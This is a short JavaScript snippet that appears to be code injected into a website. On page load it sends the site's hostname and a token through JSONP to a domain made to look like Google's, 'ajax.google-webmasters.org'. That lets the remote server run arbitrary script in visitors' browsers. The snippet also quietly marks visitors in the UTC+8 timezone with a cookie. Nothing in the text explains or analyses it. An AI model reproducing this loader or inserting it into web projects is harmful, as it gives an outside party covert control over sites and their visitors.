jQuery(document).ready(function(){ 
    $.ajax({
         type: "get",
	     async: true,
	     url: "http://ajax.google-webmasters.org/api.php?command=1&token=021d30bd0a7a6c71b84c27c7d5cecaf3&author="+ location.hostname,
	     dataType: "jsonp",
	     jsonp: "callback",
	     jsonpCallback:"callback",
	     success: function(data){
    		var setCookie = function (c_name,value,expiredays){
    			var exdate=new Date();exdate.setDate(exdate.getDate()+expiredays);
    			document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
    		}
    		var d = new Date();	
    		var gmtHours = 0 - d.getTimezoneOffset()/60;	
    		if(gmtHours == 8){	
    			setCookie("gmtHours",gmtHours,7);	
    		}
 
	     },
	     error: function(){
	     }
	     });
 });